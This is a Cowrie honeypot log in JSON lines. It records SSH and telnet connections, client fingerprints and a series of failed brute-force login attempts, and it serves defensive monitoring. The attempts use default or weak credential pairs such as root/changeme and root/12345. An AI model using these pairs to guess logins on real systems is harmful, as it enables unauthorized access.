{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:50.685122Z","src_ip":"87.251.64.176","session":"b49acd1e9859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:50.784917Z","src_ip":"87.251.64.176","session":"b49acd1e9859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57628,"dst_ip":"159.203.135.109","dst_port":22,"session":"29c1e4caae4f","protocol":"ssh","message":"New connection: 45.153.34.114:57628 (159.203.135.109:22) [session: 29c1e4caae4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:53.571623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:53.688860Z","src_ip":"45.153.34.114","session":"29c1e4caae4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:53.696366Z","src_ip":"45.153.34.114","session":"29c1e4caae4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:54.059084Z","src_ip":"45.153.34.114","session":"29c1e4caae4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:55.144206Z","src_ip":"45.153.34.114","session":"29c1e4caae4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48490,"dst_ip":"159.203.135.109","dst_port":22,"session":"b40da41ebdd6","protocol":"ssh","message":"New connection: 103.75.199.4:48490 (159.203.135.109:22) [session: b40da41ebdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:56.884235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:56.888243Z","src_ip":"103.75.199.4","session":"b40da41ebdd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:56.983465Z","src_ip":"103.75.199.4","session":"b40da41ebdd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:57.269714Z","src_ip":"103.75.199.4","session":"b40da41ebdd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:58.367739Z","src_ip":"103.75.199.4","session":"b40da41ebdd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56652,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b012be6564f","protocol":"telnet","message":"New connection: 50.6.8.71:56652 (10.17.0.5:23) [session: 1b012be6564f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:00.982787Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34738,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c720c192f17","protocol":"ssh","message":"New connection: 45.153.34.114:34738 (159.203.135.109:22) [session: 3c720c192f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:01.334748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:01.339495Z","src_ip":"45.153.34.114","session":"3c720c192f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:01.421721Z","src_ip":"45.153.34.114","session":"3c720c192f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:01.687841Z","src_ip":"45.153.34.114","session":"3c720c192f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:02.785148Z","src_ip":"45.153.34.114","session":"3c720c192f17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34748,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2e0ae6b0325","protocol":"ssh","message":"New connection: 45.153.34.114:34748 (159.203.135.109:22) [session: b2e0ae6b0325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:09.236250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:09.241470Z","src_ip":"45.153.34.114","session":"b2e0ae6b0325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:09.325594Z","src_ip":"45.153.34.114","session":"b2e0ae6b0325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:09.584727Z","src_ip":"45.153.34.114","session":"b2e0ae6b0325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:10.671345Z","src_ip":"45.153.34.114","session":"b2e0ae6b0325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53174,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1a3b6c39ca0","protocol":"ssh","message":"New connection: 45.153.34.114:53174 (159.203.135.109:22) [session: d1a3b6c39ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:16.812530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:16.819200Z","src_ip":"45.153.34.114","session":"d1a3b6c39ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:16.901498Z","src_ip":"45.153.34.114","session":"d1a3b6c39ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:17.157303Z","src_ip":"45.153.34.114","session":"d1a3b6c39ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:18.245460Z","src_ip":"45.153.34.114","session":"d1a3b6c39ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58856,"dst_ip":"159.203.135.109","dst_port":22,"session":"4be501174a30","protocol":"ssh","message":"New connection: 103.75.199.4:58856 (159.203.135.109:22) [session: 4be501174a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:18.740030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:18.744248Z","src_ip":"103.75.199.4","session":"4be501174a30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:18.835280Z","src_ip":"103.75.199.4","session":"4be501174a30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":54238,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c1a79c377e5","protocol":"ssh","message":"New connection: 20.203.42.204:54238 (159.203.135.109:22) [session: 6c1a79c377e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:18.848901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:18.856060Z","src_ip":"20.203.42.204","session":"6c1a79c377e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:19.024117Z","src_ip":"20.203.42.204","session":"6c1a79c377e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:19.110776Z","src_ip":"103.75.199.4","session":"4be501174a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass1","message":"login attempt [root/pass1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:19.731418Z","src_ip":"20.203.42.204","session":"6c1a79c377e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:20.204617Z","src_ip":"103.75.199.4","session":"4be501174a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:20.904601Z","src_ip":"20.203.42.204","session":"6c1a79c377e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40874,"dst_ip":"159.203.135.109","dst_port":22,"session":"73fd00342874","protocol":"ssh","message":"New connection: 45.153.34.114:40874 (159.203.135.109:22) [session: 73fd00342874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:24.613302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:24.617310Z","src_ip":"45.153.34.114","session":"73fd00342874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:24.716767Z","src_ip":"45.153.34.114","session":"73fd00342874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:24.980269Z","src_ip":"45.153.34.114","session":"73fd00342874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:26.072640Z","src_ip":"45.153.34.114","session":"73fd00342874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34452,"dst_ip":"159.203.135.109","dst_port":22,"session":"928f438dd535","protocol":"ssh","message":"New connection: 45.153.34.114:34452 (159.203.135.109:22) [session: 928f438dd535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:32.536659Z"}
